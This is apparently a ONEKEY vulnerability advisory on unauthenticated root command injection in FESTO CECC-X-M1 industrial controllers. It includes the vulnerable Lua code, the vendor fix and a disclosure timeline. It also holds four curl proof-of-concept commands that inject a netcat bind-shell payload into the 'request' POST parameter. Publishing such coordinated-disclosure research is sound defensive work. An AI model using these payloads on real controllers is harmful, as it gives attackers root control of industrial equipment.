To evaluate and strengthen the automated vulnerability detection capabilities of ONEKEY, we frequently download and analyze firmware images from a variety of vendors. This is how we stumbled upon the CECC-X-M1 product line, an industrial controller manufactured by FESTO.

We identified multiple issues affecting these devices leading to unauthenticated remote command execution. These issues are detailed below.

Affected vendor & product FESTO Controller CECC-X-M1 (https://www.festo.com/)
Vendor Advisory CERT@VDE Advisory VDE-2022-020
Festo Advisory FSA-202201
Vulnerable version Controller CECC-X-M1 <= 3.8.14
Controller CECC-X-M1 = 4.0.14
Controller CECC-X-M1-MV <= 3.8.14
Controller CECC-X-M1-MV = 4.0.14
Controller CECC-X-M1-MV-S1 <= 3.8.14
Controller CECC-X-M1-MV-S1 = 4.0.14
Controller CECC-X-M1-YS-L1 <= 3.8.14
Controller CECC-X-M1-YS-L2<= 3.8.14
Controller CECC-X-M1-Y-YJKP<= 3.8.14
Servo Press Kit YJKP<= 3.8.14
Servo Press Kit YJKP-<= 3.8.14
Fixed version Version 3.8.18 for 3.8.x branch.
Version 4.0.18 for 4.0.x branch.
CVE IDs CVE-2022-30308
CVE-2022-30309
CVE-2022-30310
CVE-2022-30311
Impact 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H)
Credit M. Illes, ONEKEY Research Lab
Q. Kaiser, ONEKEY Research Lab

Fixed Firmwares

 

Vendor description

Festo is a successful brand of a German multinational industrial control and automation company based in Esslingen am Neckar, Germany. Festo produces and sells pneumatic and electrical control and drive technology for factory or process automation.

Summary

The CECC-MX-M1 is affected by an pre-authentication command injection vulnerability. Any person who is able to gain network access to a CECC-MX-M1 would be able to run arbitrary system commands on the device with root privileges.

Firmware Unpacking

Festo firmwares are packed in different format layers. The first is a ZIP file containing ffwu files. These ffwu files are XML files containing multiple application entries holding base64 encoded gzip streams. Once decoded and decompressed, these streams contain FEZLV partitions, a custom partition format from Festo.

We implemented two custom unblob handlers (one for FFWU, one for FEZLV) in order to have a reproducible and comfortable way of accessing a cleanly unpacked firmware.

The visualization below represents what the firmware looks like using a treemap view that we can generate from unblob’s report files. This treemap can be navigated to “drill” into the firmware structure.

Firmware Analysis

Whenever we identify a scripting language being used by a device, we have the tendency to look for low hanging fruits using our firmware search engine. In our case, we quickly identified potentially vulnerable endpoints by looking for system calls (os.execute) in Lua.

Proof of concept

A web server is listening on CECC-MX-M1 devices, but authentication is only enabled for a limited subset (/cgi-bin/auth) of the interface. Here’s the content of /etc/httpd.conf:

#authentication rules for specific web folders

#uncomment next line if web requires root login for all pages
#/cgi-bin:root:*
/cgi-bin/auth:root:*
#/cgi-bin/hidden:admin:admin

The web interface is made of CGI scripts executed using haserl and Lua.

We found multiple command injection vulnerabilities within the Lua files used by the web server.

Command injection in cecc-x-acknerr-request through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local result = os.execute("cat /ffx/www/public/cam_acknerr.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out")
    end
end

Command injection in cecc-x-refresh-request through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local state = os.execute("cat /ffx/www/public/read_state.in | sed -e \"s/$/\r/\" | nc ".. ip .. " " .. rqPort .." > /tmp/web_read_state.out")
    end
end

Command injection in cecc-x-web-viewer-request-off through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local result = os.execute("cat /ffx/www/public/cam_disable_web_viewer.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out")
    end
end

Command injection in cecc-x-web-viewer-request-on through ‘request’ POST parameter

In the snippet below, we see that the ‘request’ parameter is fed to os.execute without prior sanitization:

if POST.request then
    local rqPort = POST.request
    if (rqPort ~= "undefined" ) then
        local result = os.execute("cat /ffx/www/public/cam_enable_web_viewer.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_log.out")
    end
end

All these issues can be exploited with a single curl call, reproduced below for every identified issue:

curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-web-viewer-request-on -d 'request=$(nc -l -p 4444 -e sh)'
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-web-viewer-request-off -d 'request=$(nc -l -p 4444 -e sh)'
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-acknerr-request -d 'request=$(nc -l -p 4444 -e sh)'
curl -X POST http://127.0.0.1:8000/cgi-bin/cecc-x-refresh-request -d 'request=$(nc -l -p 4444 -e sh)'

The Fix

Festo engineers developed a simple yet effective fix: only accepting integers as input parameters. They’re doing it in a quite convoluted way (regular expression and length check while they could have used tonumber), but it works:

local ip = "127.0.0.1"
local response = "unexpected"
local Cross_site_check_port = "^[%d]+$"
if POST.request and string.find(POST.request, Cross_site_check_port) and string.len(POST.request) < 6 then
  local rqPort = POST.request
  local state = os.execute("cat /ffx/www/public/read_state.in | sed -e \"s/$/\r/\" | nc " .. ip .. " " .. rqPort .. " > /tmp/web_read_state.out")require"wui"
--snip--
end

Interestingly, they did not modify the httpd.conf file, leaving parts of the web interface exposed to unauthenticated users.

Key Takeaways

It will be obvious from the timeline, but this is by far our best coordinated vulnerability disclosure experience. Festo had a clear page where we could find details on how to contact their product security incident response team by email, with both PGP and S/MIME encryption available. They rapidly acknowledged our report, confirmed it internally, and coordinated with CERT VDE to release a clear advisory to their customers. They even asked our take on their draft advisory and mitigation.

Timeline

  • 2022-04-08 – Report sent to Festo PSIRT
  • 2022-04-11 – Acknowledgement from Festo PSIRT, Festo starts investigating internally
  • 2022-04-28 – Festo confirms they could reproduce our report.
  • 2022-05-17 – Festo provides CVE IDs, CERT-VDE advisory ID, and draft advisory for review.
  • 2022-05-18 – We provide our comments regarding the draft advisory.
  • 2022-05-23 – Festo provides updated advisory
  • 2022-06-08 – CERT VDE publishes its advisory
  • 2022-07-06 – Festo release its updated firmware
  • 2022-07-07 – ONEKEY advisory release